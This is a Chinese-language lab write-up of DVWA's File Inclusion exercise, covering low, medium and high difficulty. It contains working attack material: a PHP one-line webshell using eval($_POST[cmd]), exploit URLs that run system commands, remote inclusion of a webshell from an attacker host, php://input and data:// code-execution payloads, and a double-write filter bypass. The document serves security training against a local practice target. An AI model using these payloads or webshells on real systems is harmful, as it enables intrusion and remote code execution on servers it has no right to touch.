Day_3_文件包含

第三天

DVWA靶机 File Inclusion

0x00 Low Level

总结

源代码:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

关于该漏洞的三种方法:

  1. 文件上传
  2. 远程包含
  3. php伪协议

注意

1. 文件上传

利用之前上传的Websell.php文件,可以构造url

url(相对路径)

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=../../hackable/uploads/Webshell.php&cmd=system("dir");

url(绝对路径)

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=http://127.0.0.1/DVWA-master/hackable/uploads/Webshell.php?cmd=system("dir");

  1. ../代表退回上个目录
  2. 相对路径的url用?给cmd传参会产生报错,指出include_path 因为php将?后面的当作参数而不是路径,但是include还是当作路径,所以包含的文件要想传递参数可以使用&

源码index.php

if( isset( $file ) )
   include( $file );
else {
   header( 'Location:?page=include.php' );
   exit;
}

关于include

NEW IDEA

文件上传漏洞可以和文件包含漏洞连用,比如说如果一个服务器既可以文件上传又可以文件包含,可能在文件上传的时候限制了必须是图片类型同时还没办法绕过,那么可以考虑将一句话木马改成图片的形式,从而成功上传,得到上传的地点,通过文件包含在url中进行执行该文件,通常选择在当前目录下生成新的shell脚本然后与蚁剑等管理脚本的工具连接。

常用的一句话木马:

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

在当前目录下建立php文件,内部内容为一句话木马

2. 远程包含

指文件在攻击机中并未上传,但是却可以在url中输入其所在位置,并且服务器可以执行。

这里因为靶机建在D盘所以可以将C盘模拟视为攻击机所在位置,而一般情况下都会考虑将虚拟机视为攻击机

如果将虚拟机(kali)视为攻击机

  1. 虚拟机开启apache

  2. 从虚拟机的本地网络文件下(var/www/html)存放用于攻击的脚本文件。

  3. 在被攻击服务器的url中page传参过程中输入kali虚拟机ip地址

    ?page=http://ip/Webshell.php

3. PHP伪协议

一般的解释:

PHP伪协议是一种特殊的协议,它可以让PHP执行一些特定的操作。虽然称为“伪协议”,但实际上它并不是真正的协议,而是一种通过URL来执行特定的PHP代码的机制。

url中使用特殊的前缀指示php执行特定的代码

  • 一些伪协议类型

(1) file://

访问本地文件

$contents = file_get_contents(‘file:///path/to/file.txt’);

(2) http:// && https://

通过HTTP访问远程的资源

$content = file_get_contents('http://example.com');

(3) php://

将PHP代码作为字符串传递给PHP函数进行处理,常用于动态生成代码或执行简单的计算。

php://filter

?page=php://filter/read=convert.base64-encode/resource=file1.php

通过php协议读取本地敏感的源代码,经过base64加密,返回

需要知道网站的目录结构,文件的路径

php://input

post请求中的数据作为PHP代码执行

url: ?page=php://input

post: <?php phpinfo(); ?>

可以尝试用Burpsuite进行抓包,将url修改为?page=php://input ,然后在抓包的末尾,加入希望执行的php代码。

(4) data://

将数据嵌入到 PHP 脚本中,与php://input类似是执行代码,但是不同的是执行的方式。

url1: ?page=data:text/plain,<?php 执行内容 ?>
or
url2: ?page=data:text/plain;base64,base64编码后的php代码

这两个方法在本题中都经过实验是可行的

0x01 Medium Level

源码:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );

?>

这里我们可以知道进行了黑名单过滤,但是根据对str_replace函数的了解,可以通过双写绕过的方式实现

关于什么是双写绕过

基于str_replace函数自己存在的安全隐患,其无法进行迭代过滤,只会将第一次检索出来的问题替换掉,因此我们可以采取双写的方法

eg: http:// --> hthttptp://

本质:最大程度的利用函数不安全漏洞,进行通过简单处理,绕过黑名单检查,也就是说为什么黑名单(不允许某些类型输入通过)安全性更低,因为很难完全避免。

0x02 High Level

源码

 <?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

这个就是白名单的应用了,只允许开头是file的输入通过,正好可以使用伪协议中的file伪协议,将脚本文件上传服务器(知道其绝对路径),通过file协议包含上传的文件,实现相关代码。

可以参考文章

总结

  1. url中包含文件需要传参数,从而影响产生报错的问题:&
  2. PHP伪代码
  3. 双写绕过的思想

热门相关:我在镇夜司打开地狱之门   弃妇种田忙   神医娘亲:腹黑萌宝赖上门   鬼喊抓鬼   首席的亿万老婆